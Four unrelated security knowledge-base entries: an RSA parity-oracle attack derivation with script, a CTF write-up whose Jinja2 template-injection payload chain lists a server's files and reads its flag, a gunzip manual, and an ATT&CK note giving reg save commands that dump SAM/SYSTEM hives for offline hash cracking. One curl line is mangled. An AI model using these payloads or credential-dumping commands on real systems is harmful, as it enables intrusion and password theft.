如果oracle的参数会在一定时间、运行周期后改变,或者网络不稳定导致会话断开、重置,二分法就不再适用了,为了减少错误,应当考虑逐位恢复。
要恢复明文的第2低位,考虑
$$\{(c(2^{-1*e_1}\mod N_1))^{d_1}\mod N_1\}\pmod2\equiv m*2^{-1}$$
$$
\begin{aligned}
&m*(2^{-1}\mod N_1)\mod2\\
&=(\displaystyle\sum_{i=0}^{logm-1}a_i*2^i)*2^{-1}\mod2\\
&=[2(\displaystyle\sum_{i=1}^{logm-1}a_i*2^{i-1})+a_0*2^0]*2^{-1}\mod 2\\
&=\displaystyle\sum_{i=1}^{logm-1}a_i*2^{i-1}+a_0*2^0*2^{-1}\mod2\\
&\equiv a_1+a_0*2^0*2^{-1}\equiv y\pmod2
\end{aligned}
$$
$$
y-(a_0*2^0)*2^{-1}=(m*2^{-1}\mod2)-(a_0*2^0)*2^{-1}\equiv a_1\pmod2
$$
类似的
$$\{(c(2^{-2*e_2}\mod N_2))^{d_2}\mod N_2\}\pmod2\equiv m*2^{-2}$$
$$
\begin{aligned}
&m*(2^{-2}\mod N_2)\mod2\\
&=(\displaystyle\sum_{i=0}^{logm-1}a_i*2^i)*2^{-2}\mod2\\
&=[2^2(\displaystyle\sum_{i=2}^{logm-1}a_i*2^{i-2})+a_1*2^1+a_0*2^0]*2^{-2}\mod 2\\
&=\displaystyle\sum_{i=2}^{logm-1}a_i*2^{i-1}+(a_1*2^1+a_0*2^0)*2^{-2}\mod2\\
&\equiv a_2+(a_1*2^1+a_0*2^0)*2^{-2}\equiv y\pmod2
\end{aligned}
$$
$$
\begin{aligned}
&y-(a_1*2^1+a_0*2^0)*2^{-2}\\
&=(m*2^{-2}\mod2)-(a_1*2^1+a_0*2^0)*2^{-2}\equiv a_2\pmod2
\end{aligned}
$$
我们就可以使用前i-1位与oracle的结果来得到第i位。注意这里的$2^{-1}$是$2^1$模$N_1$的逆元。所以对剩下的位,有
$$
\begin{aligned}
&\{(c(2^{-i*e_i}\mod N_i))^{d_i}\mod N_i\}\pmod2\equiv m*2^{-i}\\
&a_i\equiv (m*2^{-i}\mod2) -\sum_{j=0}^{i-1}a_j*2^j\pmod2,i=1,2,...,logm-1
\end{aligned}
$$
其中$2^{-i}$是$2^i$模$N_i$的逆元。
就可以逐步恢复原文所有的位信息了。这样的时间复杂度为$O(logm)$。
exp:
```python
from Crypto.Util.number import *
mm = bytes_to_long(b'12345678')
l = len(bin(mm)) - 2
def genkey():
while 1:
p = getPrime(128)
q = getPrime(128)
e = getPrime(32)
n = p * q
phi = (p - 1) * (q - 1)
if GCD(e, phi) > 1:
continue
d = inverse(e, phi)
return e, d, n
e, d, n = genkey()
cc = pow(mm, e, n)
f = str(pow(cc, d, n) % 2)
for i in range(1, l):
e, d, n = genkey()
cc = pow(mm, e, n)
ss = inverse(2**i, n)
cs = (cc * pow(ss, e, n)) % n
lb = pow(cs, d, n) % 2
bb = (lb - (int(f, 2) * ss % n)) % 2
f = str(bb) + f
assert(((mm >> i) % 2) == bb)
print(long_to_bytes(int(f, 2)))
```
|
sec-knowleage
|
# Science
Web, 325 points
## Description:
A link to a website was attached.
```html
<html>
<div style="text-align: center">
<h1>Welcome to my new FaaS! (Flask as a Service)</h1>
<h4>Please enter the two chemicals you would like to combine:</h4>
<form action="/science" method="POST">
Chemical One: <input type="text" name="chem1"><br>
Chemical Two: <input type="text" name="chem2"><br>
<input type="submit">
</form>
<br>
<br>
<iframe src="https://giphy.com/embed/fqIBaMWI7m7O8" width="480" height="270" frameBorder="0" class="giphy-embed" allowFullScreen></iframe><p>
</div>
</html>
```
## Solution:
The website included a form which allowed combining two chemicals (freetext).
The result was a page which pretty much included a GIF:
```console
root@kali:/media/sf_CTFs/tamu/Science# curl "http://web3.tamuctf.com/science" -X POST --data "chem1=a&chem2=b"
<html>
<div style="text-align:center">
<h3>The result of combining a and b is:</h3></br>
<iframe src="https://giphy.com/embed/AQ2tIhLp4cBa" width="468" height="480" frameBorder="0" class="giphy-embed" allowFullScreen></iframe></div>
</html>
```
The title mentioned Flask, and a common vulnerability for Flask sites is "template injection" - we input python code encapsulated in double curly brackets and it gets executed by the template manager.
In many cases the Python runtime environment is sandboxed, so this won't work:
```console
root@kali:/media/sf_CTFs/tamu/Science# curl "http://web3.tamuctf.com/science" -X POST --data "chem1={{print(1)}}&chem2=b"
Something went wrong
```
But this will:
```console
root@kali:/media/sf_CTFs/tamu/Science# curl "http://web3.tamuctf.co-data "chem1={{''.__class__}}&chem2=b"
<html>
<div style="text-align:center">
<h3>The result of combining <type 'str'> and b is:</h3></br>
<iframe src="https://giphy.com/embed/AQ2tIhLp4cBa" width="468" height="480" frameBorder="0" class="giphy-embed" allowFullScreen></iframe></div>
</html>
```
Notice how the code was executed and `<type 'str'>` was printed as the result.
From here, there are several known ways to arrive to RCE. Each time we add another expression that gets us closer to some important class such as `os`.
I created a simple prompt that will allow me to build my way up easily, using the arrow keys to get my previous attempt.
```python
import re
import html
import requests
from cmd import Cmd
class MyPrompt(Cmd):
def do_exit(self, inp):
return True
def do_send(self, param):
r = requests.post('http://web3.tamuctf.com/science', data = {'chem1':param, 'chem2': '1'})
m = re.search("combining\s+(.+)\s+and", r.text)
if m:
print (html.unescape(m.group(1)))
else:
print(r.text)
MyPrompt().cmdloop()
```
Using it:
```
root@kali:/media/sf_CTFs/tamu/Science# python3 shell.py
(Cmd) send {{"".__class__}}
<type 'str'>
(Cmd) send {{"".__class__.mro()}}
[<type 'str'>, <type 'basestring'>, <type 'object'>]
(Cmd) send {{"".__class__.mro()[2]}}
<type 'object'>
(Cmd) send {{"".__class__.mro()[2].__subclasses__()}}
[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <type 'dict_keys'>, <type 'dict_items'>, <type 'dict_values'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <type 'operator.itemgetter'>, <type 'operator.attrgetter'>, <type 'operator.methodcaller'>, <type 'functools.partial'>, <type 'itertools.combinations'>, <type 'itertools.combinations_with_replacement'>, <type 'itertools.cycle'>, <type 'itertools.dropwhile'>, <type 'itertools.takewhile'>, <type 'itertools.islice'>, <type 'itertools.starmap'>, <type 'itertools.imap'>, <type 'itertools.chain'>, <type 'itertools.compress'>, <type 'itertools.ifilter'>, <type 'itertools.ifilterfalse'>, <type 'itertools.count'>, <type 'itertools.izip'>, <type 'itertools.izip_longest'>, <type 'itertools.permutations'>, <type 'itertools.product'>, <type 'itertools.repeat'>, <type 'itertools.groupby'>, <type 'itertools.tee_dataobject'>, <type 'itertools.tee'>, <type 'itertools._grouper'>, <type 'cStringIO.StringO'>, <type 'cStringIO.StringI'>, <class 'string.Template'>, <class 'string.Formatter'>, <type 'collections.deque'>, <type 'deque_iterator'>, <type 'deque_reverse_iterator'>, <type '_thread._localdummy'>, <type 'thread._local'>, <type 'thread.lock'>, <type 'datetime.date'>, <type 'datetime.timedelta'>, <type 'datetime.time'>, <type 'datetime.tzinfo'>, <class 'werkzeug._internal._Missing'>, <class 'werkzeug._internal._DictAccessorProperty'>, <type 'time.struct_time'>, <class 'email.LazyImporter'>, <type 'Struct'>, <type '_hashlib.HASH'>, <type '_random.Random'>, <type '_ssl._SSLContext'>, <type '_ssl._SSLSocket'>, <class 'socket._closedsocket'>, <type '_socket.socket'>, <type 'method_descriptor'>, <class 'socket._socketobject'>, <class 'socket._fileobject'>, <class 'urlparse.ResultMixin'>, <class 'contextlib.GeneratorContextManager'>, <class 'contextlib.closing'>, <class 'calendar.Calendar'>, <type '_io._IOBase'>, <type '_io.IncrementalNewlineDecoder'>, <class 'werkzeug.datastructures.ImmutableListMixin'>, <class 'werkzeug.datastructures.ImmutableDictMixin'>, <class 'werkzeug.datastructures.UpdateDictMixin'>, <class 'werkzeug.datastructures.ViewItems'>, <class 'werkzeug.datastructures._omd_bucket'>, <class 'werkzeug.datastructures.Headers'>, <class 'werkzeug.datastructures.ImmutableHeadersMixin'>, <class 'werkzeug.datastructures.IfRange'>, <class 'werkzeug.datastructures.Range'>, <class 'werkzeug.datastructures.ContentRange'>, <class 'werkzeug.datastructures.FileStorage'>, <class 'werkzeug.urls.Href'>, <class 'werkzeug.wsgi.ProxyMiddleware'>, <class 'werkzeug.wsgi.SharedDataMiddleware'>, <class 'werkzeug.wsgi.DispatcherMiddleware'>, <class 'werkzeug.wsgi.ClosingIterator'>, <class 'werkzeug.wsgi.FileWrapper'>, <class 'werkzeug.wsgi._RangeWrapper'>, <class 'werkzeug.formparser.FormDataParser'>, <class 'werkzeug.formparser.MultiPartParser'>, <class 'werkzeug.utils.HTMLBuilder'>, <class 'werkzeug.wrappers.BaseRequest'>, <class 'werkzeug.wrappers.BaseResponse'>, <class 'werkzeug.wrappers.AcceptMixin'>, <class 'werkzeug.wrappers.ETagRequestMixin'>, <class 'werkzeug.wrappers.UserAgentMixin'>, <class 'werkzeug.wrappers.AuthorizationMixin'>, <class 'werkzeug.wrappers.StreamOnlyMixin'>, <class 'werkzeug.wrappers.ETagResponseMixin'>, <class 'werkzeug.wrappers.ResponseStream'>, <class 'werkzeug.wrappers.ResponseStreamMixin'>, <class 'werkzeug.wrappers.CommonRequestDescriptorsMixin'>, <class 'werkzeug.wrappers.CommonResponseDescriptorsMixin'>, <class 'werkzeug.wrappers.WWWAuthenticateMixin'>, <class 'werkzeug.exceptions.Aborter'>, <type '_json.Scanner'>, <type '_json.Encoder'>, <class 'json.decoder.JSONDecoder'>, <class 'json.encoder.JSONEncoder'>, <class 'threading._Verbose'>, <type 'cPickle.Unpickler'>, <type 'cPickle.Pickler'>, <class 'jinja2.utils.MissingType'>, <class 'jinja2.utils.LRUCache'>, <class 'jinja2.utils.Cycler'>, <class 'jinja2.utils.Joiner'>, <class 'jinja2.utils.Namespace'>, <class 'markupsafe._MarkupEscapeHelper'>, <class 'jinja2.nodes.EvalContext'>, <class 'jinja2.runtime.TemplateReference'>, <class 'jinja2.nodes.Node'>, <class 'numbers.Number'>, <class 'jinja2.runtime.Context'>, <class 'jinja2.runtime.BlockReference'>, <class 'jinja2.runtime.LoopContextBase'>, <class 'jinja2.runtime.LoopContextIterator'>, <class 'jinja2.runtime.Macro'>, <class 'jinja2.runtime.Undefined'>, <class 'decimal.Decimal'>, <class 'decimal._ContextManager'>, <class 'decimal.Context'>, <class 'decimal._WorkRep'>, <class 'decimal._Log10Memoize'>, <type '_ast.AST'>, <class 'jinja2.lexer.Failure'>, <class 'jinja2.lexer.TokenStreamIterator'>, <class 'jinja2.lexer.TokenStream'>, <class 'jinja2.lexer.Lexer'>, <class 'jinja2.parser.Parser'>, <class 'jinja2.visitor.NodeVisitor'>, <class 'jinja2.idtracking.Symbols'>, <class 'jinja2.compiler.MacroRef'>, <class 'jinja2.compiler.Frame'>, <class 'jinja2.environment.Environment'>, <class 'jinja2.environment.Template'>, <class 'jinja2.environment.TemplateModule'>, <class 'jinja2.environment.TemplateExpression'>, <class 'jinja2.environment.TemplateStream'>, <class 'jinja2.loaders.BaseLoader'>, <class 'jinja2.bccache.Bucket'>, <class 'jinja2.bccache.BytecodeCache'>, <class 'difflib.HtmlDiff'>, <class 'uuid.UUID'>, <type 'CArgObject'>, <type '_ctypes.CThunkObject'>, <type '_ctypes._CData'>, <type '_ctypes.CField'>, <type '_ctypes.DictRemover'>, <class 'ctypes.CDLL'>, <class 'ctypes.LibraryLoader'>, <type 'select.epoll'>, <class 'subprocess.Popen'>, <class 'werkzeug.routing.RuleFactory'>, <class 'werkzeug.routing.RuleTemplate'>, <class 'werkzeug.routing.BaseConverter'>, <class 'werkzeug.routing.Map'>, <class 'werkzeug.routing.MapAdapter'>, <class 'flask.signals.Namespace'>, <class 'flask.signals._FakeSignal'>, <class 'werkzeug.local.Local'>, <class 'werkzeug.local.LocalStack'>, <class 'werkzeug.local.LocalManager'>, <class 'werkzeug.local.LocalProxy'>, <class 'flask.helpers.locked_cached_property'>, <class 'flask.helpers._PackageBoundObject'>, <class 'itsdangerous._json._CompactJSON'>, <class 'itsdangerous.signer.SigningAlgorithm'>, <class 'itsdangerous.signer.Signer'>, <class 'itsdangerous.serializer.Serializer'>, <class 'itsdangerous.url_safe.URLSafeSerializerMixin'>, <class 'click._compat._FixupStream'>, <class 'click._compat._AtomicFile'>, <class 'click.utils.LazyFile'>, <class 'click.utils.KeepOpenFile'>, <class 'click.utils.PacifyFlushWrapper'>, <class 'click.types.ParamType'>, <class 'click.parser.Option'>, <class 'click.parser.Argument'>, <class 'click.parser.ParsingState'>, <class 'click.parser.OptionParser'>, <class 'click.formatting.HelpFormatter'>, <class 'click.core.Context'>, <class 'click.core.BaseCommand'>, <class 'click.core.Parameter'>, <class 'flask.cli.DispatchingApp'>, <class 'flask.cli.ScriptInfo'>, <class 'flask.config.ConfigAttribute'>, <class 'flask.ctx._AppCtxGlobals'>, <class 'flask.ctx.AppContext'>, <class 'flask.ctx.RequestContext'>, <class 'flask.sessions.SessionMixin'>, <class 'flask.sessions.TaggedJSONSerializer'>, <class 'flask.sessions.SessionInterface'>, <class 'flask.blueprints.BlueprintSetupState'>, <class 'sqlalchemy.util._collections.ImmutableContainer'>, <class 'sqlalchemy.util._collections.Properties'>, <class 'sqlalchemy.util._collections.IdentitySet'>, <class 'sqlalchemy.util._collections.WeakSequence'>, <class 'sqlalchemy.util._collections.UniqueAppender'>, <class 'sqlalchemy.util._collections.ScopedRegistry'>, <class 'sqlalchemy.exc.DontWrapMixin'>, <class 'sqlalchemy.util.langhelpers.safe_reraise'>, <class 'sqlalchemy.util.langhelpers.PluginLoader'>, <class 'sqlalchemy.util.langhelpers.portable_instancemethod'>, <class 'sqlalchemy.util.langhelpers.memoized_property'>, <class 'sqlalchemy.util.langhelpers.group_expirable_memoized_property'>, <class 'sqlalchemy.util.langhelpers.MemoizedSlots'>, <class 'sqlalchemy.util.langhelpers._importlater'>, <class 'sqlalchemy.util.langhelpers.dependencies'>, <class 'sqlalchemy.util.langhelpers.hybridproperty'>, <class 'sqlalchemy.util.langhelpers.hybridmethod'>, <class 'sqlalchemy.util.langhelpers.symbol'>, <class 'sqlalchemy.sql.operators.Operators'>, <class 'sqlalchemy.sql.visitors.Visitable'>, <class 'sqlalchemy.sql.visitors.ClauseVisitor'>, <class 'sqlalchemy.sql.base.Immutable'>, <class 'sqlalchemy.sql.base.DialectKWArgs'>, <class 'sqlalchemy.sql.base.Generative'>, <class 'sqlalchemy.sql.base.SchemaEventTarget'>, <class 'sqlalchemy.sql.operators.custom_op'>, <class 'sqlalchemy.sql.selectable.HasPrefixes'>, <class 'sqlalchemy.sql.type_api.Emulated'>, <class 'sqlalchemy.sql.type_api.NativeForEmulated'>, <class 'sqlalchemy.sql.annotation.Annotated'>, <class 'sqlalchemy.sql.selectable.HasSuffixes'>, <class 'sqlalchemy.sql.selectable.HasCTE'>, <class 'sqlalchemy.event.registry._EventKey'>, <class 'sqlalchemy.event.attr._empty_collection'>, <class 'sqlalchemy.event.base._UnpickleDispatch'>, <class 'sqlalchemy.event.base._Dispatch'>, <class 'sqlalchemy.sql.schema.ColumnCollectionMixin'>, <class 'sqlalchemy.event.base.Events'>, <class 'sqlalchemy.event.base._JoinedDispatcher'>, <class 'sqlalchemy.event.base.dispatcher'>, <class 'sqlalchemy.sql.schema._NotAColumnExpr'>, <class 'sqlalchemy.sql.schema._SchemaTranslateMap'>, <type 'sqlalchemy.cprocessors.UnicodeResultProcessor'>, <type 'sqlalchemy.DecimalResultProcessor'>, <class 'sqlalchemy.sql.sqltypes._LookupExpressionAdapter'>, <class 'sqlalchemy.sql.sqltypes.Concatenable'>, <class 'sqlalchemy.sql.sqltypes.Indexable'>, <class 'sqlalchemy.sql.util._repr_base'>, <class 'sqlalchemy.sql.util._IncludeExcludeMapping'>, <class 'sqlalchemy.sql.functions._FunctionGenerator'>, <class 'sqlalchemy.sql.compiler.Compiled'>, <class 'sqlalchemy.sql.compiler.IdentifierPreparer'>, <class 'sqlalchemy.sql.compiler.TypeCompiler'>, <class 'sqlalchemy.engine.interfaces.Dialect'>, <class 'sqlalchemy.engine.interfaces.CreateEnginePlugin'>, <class 'sqlalchemy.engine.interfaces.ExecutionContext'>, <class 'sqlalchemy.engine.interfaces.Connectable'>, <class 'sqlalchemy.engine.interfaces.ExceptionContext'>, <class 'sqlalchemy.interfaces.PoolListener'>, <class 'sqlalchemy.interfaces.ConnectionProxy'>, <class 'logging.LogRecord'>, <class 'logging.Formatter'>, <class 'logging.BufferingFormatter'>, <class 'logging.Filter'>, <class 'logging.Filterer'>, <class 'logging.PlaceHolder'>, <class 'logging.Manager'>, <class 'logging.LoggerAdapter'>, <class 'sqlalchemy.log.Identified'>, <class 'sqlalchemy.log.InstanceLogger'>, <class 'sqlalchemy.log.echo_property'>, <class 'sqlalchemy.engine.base.Transaction'>, <class 'sqlalchemy.engine.base._trans_ctx'>, <class 'sqlalchemy.engine.url.URL'>, <class 'sqlalchemy.pool._ConnDialect'>, <class 'sqlalchemy.pool._ConnectionRecord'>, <class 'sqlalchemy.pool._ConnectionFairy'>, <class 'sqlalchemy.pool._DBProxy'>, <class 'sqlalchemy.engine.strategies.EngineStrategy'>, <type 'sqlalchemy.cresultproxy.BaseRowProxy'>, <class 'sqlalchemy.engine.result.ResultMetaData'>, <class 'sqlalchemy.engine.result.ResultProxy'>, <type 'listreverseiterator'>, <class 'sqlalchemy.sql.naming.ConventionDict'>, <class 'sqlalchemy.engine.reflection.Inspector'>, <class 'sqlalchemy.orm.base.InspectionAttr'>, <class 'sqlalchemy.orm.base._MappedAttribute'>, <class 'sqlalchemy.orm.collections._PlainColumnGetter'>, <class 'sqlalchemy.orm.collections._SerializableColumnGetter'>, <class 'sqlalchemy.orm.collections._SerializableAttrGetter'>, <class 'sqlalchemy.orm.collections.collection'>, <class 'sqlalchemy.orm.collections.CollectionAdapter'>, <type 'classmethod_descriptor'>, <class 'sqlalchemy.orm.path_registry.PathRegistry'>, <class 'sqlalchemy.orm.interfaces.MapperOption'>, <class 'sqlalchemy.orm.interfaces.LoaderStrategy'>, <class 'sqlalchemy.orm.attributes.Event'>, <class 'sqlalchemy.orm.attributes.AttributeImpl'>, <class 'sqlalchemy.orm.state.AttributeState'>, <class 'sqlalchemy.orm.state.PendingCollection'>, <class 'sqlalchemy.orm.instrumentation._SerializeManager'>, <class 'sqlalchemy.orm.instrumentation.InstrumentationFactory'>, <class 'sqlalchemy.orm.util.AliasedClass'>, <class 'sqlalchemy.orm.strategy_options.loader_option'>, <class 'sqlalchemy.orm.loading.PostLoad'>, <class 'sqlalchemy.orm.deprecated_interfaces.MapperExtension'>, <class 'sqlalchemy.orm.deprecated_interfaces.SessionExtension'>, <class 'sqlalchemy.orm.deprecated_interfaces.AttributeExtension'>, <class 'sqlalchemy.orm.evaluator.EvaluatorCompiler'>, <class 'sqlalchemy.orm.persistence.BulkUD'>, <class 'sqlalchemy.orm.query.Query'>, <class 'sqlalchemy.orm.query._QueryEntity'>, <class 'sqlalchemy.orm.query.QueryContext'>, <class 'sqlalchemy.orm.unitofwork.UOWTransaction'>, <class 'sqlalchemy.orm.unitofwork.IterateMappersMixin'>, <class 'sqlalchemy.orm.unitofwork.PostSortRec'>, <class 'sqlalchemy.orm.dependency.DependencyProcessor'>, <class 'sqlalchemy.orm.relationships.JoinCondition'>, <class 'sqlalchemy.orm.relationships._ColInAnnotations'>, <class 'sqlalchemy.orm.identity.IdentityMap'>, <class 'sqlalchemy.orm.session._SessionClassMethods'>, <class 'sqlalchemy.orm.session.SessionTransaction'>, <class 'sqlalchemy.orm.scoping.scoped_session'>, <class 'sqlalchemy.orm.strategies.LoadDeferredColumns'>, <class 'sqlalchemy.orm.strategies.LoadLazyAttribute'>, <class 'sqlalchemy.orm.strategies._SubqCollections'>, <class 'sqlalchemy.orm.dynamic.AppenderMixin'>, <class 'sqlalchemy.orm.dynamic.CollectionHistory'>, <class 'sqlalchemy.orm.events._InstrumentationEventsHold'>, <class 'sqlalchemy.orm.events.HoldEvents'>, <class 'sqlalchemy.ext.baked.Bakery'>, <class 'sqlalchemy.ext.baked.BakedQuery'>, <class 'sqlalchemy.ext.baked.Result'>, <class 'sqlalchemy.ext.declarative.clsregistry._MultipleClassMarker'>, <class 'sqlalchemy.ext.declarative.clsregistry._ModuleMarker'>, <class 'sqlalchemy.ext.declarative.clsregistry._ModNS'>, <class 'sqlalchemy.ext.declarative.clsregistry._GetColumns'>, <class 'sqlalchemy.ext.declarative.clsregistry._GetTable'>, <class 'sqlalchemy.ext.declarative.clsregistry._class_resolver'>, <class 'sqlalchemy.ext.declarative.base._MapperConfig'>, <class 'sqlalchemy.ext.declarative.api.ConcreteBase'>, <class 'sqlalchemy.ext.declarative.api.DeferredReflection'>, <class 'flask_sqlalchemy.model.NameMetaMixin'>, <class 'flask_sqlalchemy.model.BindMetaMixin'>, <class 'flask_sqlalchemy.model.Model'>, <class 'flask_sqlalchemy._SessionSignalEvents'>, <class 'flask_sqlalchemy._EngineDebuggingSignalEvents'>, <class 'flask_sqlalchemy.Pagination'>, <class 'flask_sqlalchemy._QueryProperty'>, <class 'flask_sqlalchemy._EngineConnector'>, <class 'flask_sqlalchemy._SQLAlchemyState'>, <class 'flask_sqlalchemy.SQLAlchemy'>, <class 'ipaddress._TotalOrderingMixin'>, <class 'ipaddress._BaseV4'>, <class 'ipaddress._IPv4Constants'>, <class 'ipaddress._BaseV6'>, <class 'ipaddress._IPv6Constants'>, <class 'urllib3.util.selectors.BaseSelector'>, <class 'urllib3.packages.six._LazyDescr'>, <class 'urllib3.packages.six._SixMetaPathImporter'>, <class 'urllib3.packages.six.Iterator'>, <class 'urllib3.util.timeout.Timeout'>, <class 'urllib3.util.retry.Retry'>, <class 'urllib3.connection.DummyConnection'>, <class 'urllib3.connection.HTTPConnection'>, <class 'urllib3.fields.RequestField'>, <class 'urllib3.request.RequestMethods'>, <class 'urllib3.response.DeflateDecoder'>, <class 'urllib3.response.GzipDecoder'>, <class 'urllib3.connectionpool.ConnectionPool'>, <class 'chardet.enums.InputState'>, <class 'chardet.enums.LanguageFilter'>, <class 'chardet.enums.ProbingState'>, <class 'chardet.enums.MachineState'>, <class 'chardet.enums.SequenceLikelihood'>, <class 'chardet.enums.CharacterCategory'>, <class 'chardet.charsetprober.CharSetProber'>, <class 'chardet.codingstatemachine.CodingStateMachine'>, <class 'chardet.chardistribution.CharDistributionAnalysis'>, <class 'chardet.jpcntx.JapaneseContextAnalysis'>, <class 'chardet.universaldetector.UniversalDetector'>, <class 'requests.cookies.MockRequest'>, <class 'requests.cookies.MockResponse'>, <type 'array.array'>, <type 'unicodedata.UCD'>, <class 'requests.auth.AuthBase'>, <class 'requests.models.RequestEncodingMixin'>, <class 'requests.models.RequestHooksMixin'>, <class 'requests.models.Response'>, <class 'requests.adapters.BaseAdapter'>, <class 'requests.sessions.SessionRedirectMixin'>, <class 'werkzeug.serving.WSGIRequestHandler'>, <class 'werkzeug.serving._SSLContext'>, <class 'werkzeug.serving.BaseWSGIServer'>, <class 'werkzeug.test._TestCookieHeaders'>, <class 'jinja2.ext.Extension'>, <class 'jinja2.ext._CommentFinder'>, <class 'werkzeug.test._TestCookieResponse'>, <class 'werkzeug.test.EnvironBuilder'>, <class 'werkzeug.test.Client'>, <type 'method-wrapper'>, <class 'jinja2.debug.TracebackFrameProxy'>, <class 'jinja2.debug.ProcessedTraceback'>]
(Cmd) send {{"".__class__.mro()[2].__subclasses__()[59]}}
<class 'warnings.catch_warnings'>
(Cmd) send {{"".__class__.mro()[2].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['os'].listdir('.')}}
['entry.sh', 'config.py', 'requirements.txt', 'serve.py', 'tamuctf', 'flag.txt']
(Cmd) send {{"".__class__.mro()[2].__subclasses__()[59]()._module.__builtins__['open']}}
<built-in function open>
(Cmd) send {{"".__class__.mro()[2].__subclasses__()[59]()._module.__builtins__['open']('flag.txt')}}
<open file 'flag.txt', mode 'r' at 0x7f3cacb57390>
(Cmd) send {{"".__class__.mro()[2].__subclasses__()[59]()._module.__builtins__['open']('flag.txt').read()}}
gigem{5h3_bl1nd3d_m3_w17h_5c13nc3}
```
|
sec-knowleage
|
gunzip
===
用来解压缩文件
## 补充说明
**gunzip命令** 用来解压缩文件。gunzip是个使用广泛的解压缩程序,它用于解开被gzip压缩过的文件,这些压缩文件预设最后的扩展名为.gz。事实上gunzip就是gzip的硬连接,因此不论是压缩或解压缩,都可通过gzip指令单独完成。
### 语法
```shell
gunzip(选项)(参数)
```
### 选项
```shell
-a或——ascii:使用ASCII文字模式;
-c或--stdout或--to-stdout:把解压后的文件输出到标准输出设备;
-f或-force:强行解开压缩文件,不理会文件名称或硬连接是否存在以及该文件是否为符号连接;
-h或——help:在线帮助;
-l或——list:列出压缩文件的相关信息;
-L或——license:显示版本与版权信息;
-n或--no-name:解压缩时,若压缩文件内含有原来的文件名称及时间戳记,则将其忽略不予处理;
-N或——name:解压缩时,若压缩文件内含有原来的文件名称及时间戳记,则将其回存到解开的文件上;
-q或——quiet:不显示警告信息;
-r或——recursive:递归处理,将指定目录下的所有文件及子目录一并处理;
-S或<压缩字尾字符串>或----suffix<压缩字尾字符串>:更改压缩字尾字符串;
-t或——test:测试压缩文件是否正确无误;
-v或——verbose:显示指令执行过程;
-V或——version:显示版本信息;
```
### 参数
文件列表:指定要解压缩的压缩包。
### 实例
首先将`/etc`目录下的所有文件以及子目录进行压缩,备份压缩包etc.zip到`/opt`目录,然后对etc.zip文件进行gzip压缩,设置gzip的压缩级别为9。
```shell
zip –r /opt/etc.zip /etc
gzip -9v /opt/etc.zip
```
查看上述etc.zip.gz文件的压缩信息。
```shell
gzip -l /opt/etc.zip.gz
compressed uncompressed ratio uncompressed_name
11938745 12767265 6.5% /opt/etc.zip
```
解压上述etc.zip.gz文件到当前目录。
```shell
[root@mylinux ~]#gzip –d /opt/etc.zip.gz
或者执行
[root@mylinux ~]#gunzip /opt/etc.zip.gz
```
通过上面的示例可以知道`gzip –d`等价于`gunzip`命令。
|
sec-knowleage
|
# T1003-002--windows-基于SAM-reg凭证获取
## 来自ATT&CK的描述
凭证获取是从操作系统和软件中获取登录信息和密码的过程,通常为HASH散列或明文密码。然后使用凭证进行横向移动访问其他系统。
### SAM(Security Accounts Manager)
SAM文件是一个存储主机本地账户信息的数据库文件,通常是"net user"能看到的用户。想要枚举SAM数据库,你需要系统(system)权限才能够进行操作。它可以在两种模式下工作:在线(使用SYSTEM用户或令牌)或离线(使用SYSTEM&SAMhives或backup)。
安全帐户管理器(SAM),往往是一个数据库文件在Windows XP中,Windows Vista中、Windows 7中、8.1和10存储用户的密码。它可用于验证本地和远程用户。从Windows 2000 SP4开始,Active Directory对远程用户进行身份验证。SAM使用加密措施来防止未经身份验证的用户访问系统。
用户密码以散列格式存储在注册表配置单元中,可以是LM哈希,也可以是NTLM哈希。可以在此文件中找到%SystemRoot%/system32/config/SAM并安装此文件HKLM/SAM。LM哈希是一种受损的协议,已被NTLM哈希取代。可以将大多数Windows版本配置为在用户更改密码时禁用有效LM哈希的创建和存储。Windows Vista和更高版本的Windows默认禁用LM哈希。
为了提高SAM数据库的安全性以防止脱机离线破解,Microsoft在Windows NT 4.0中引入了SYSKEY功能。启用SYSKEY后,SAM文件的磁盘副本将部分加密,以便SAM中存储的所有本地帐户的密码哈希值都使用密钥加密(通常也称为“SYSKEY”)。可以通过运行程序启用它。
## 测试案例
你可以使用许多工具进行检索读取SAM文件:
- pwdump.exe
- Mimikatz
- gsecdump
- ······
或者,可以使用Reg从注册表中提取SAM文件信息:
- reg save HKLM\SYSTEM SystemBkup.hiv
- reg save HKLM\SAM SamBkup.hiv
然后可以使用Creddump7或者hashcat在本地离线提取哈希值。
你也可以选择直接备份这些文件:
- C:\Windows\System32\config\SYSTEM
- C:\Windows\System32\config\SAM
值得注意的是:Rid 500账户是本地内置账户,Rid 501是来宾用户,用户账户以Rid 1000+开头。
## 检测日志
sysmon日志
## 测试复现
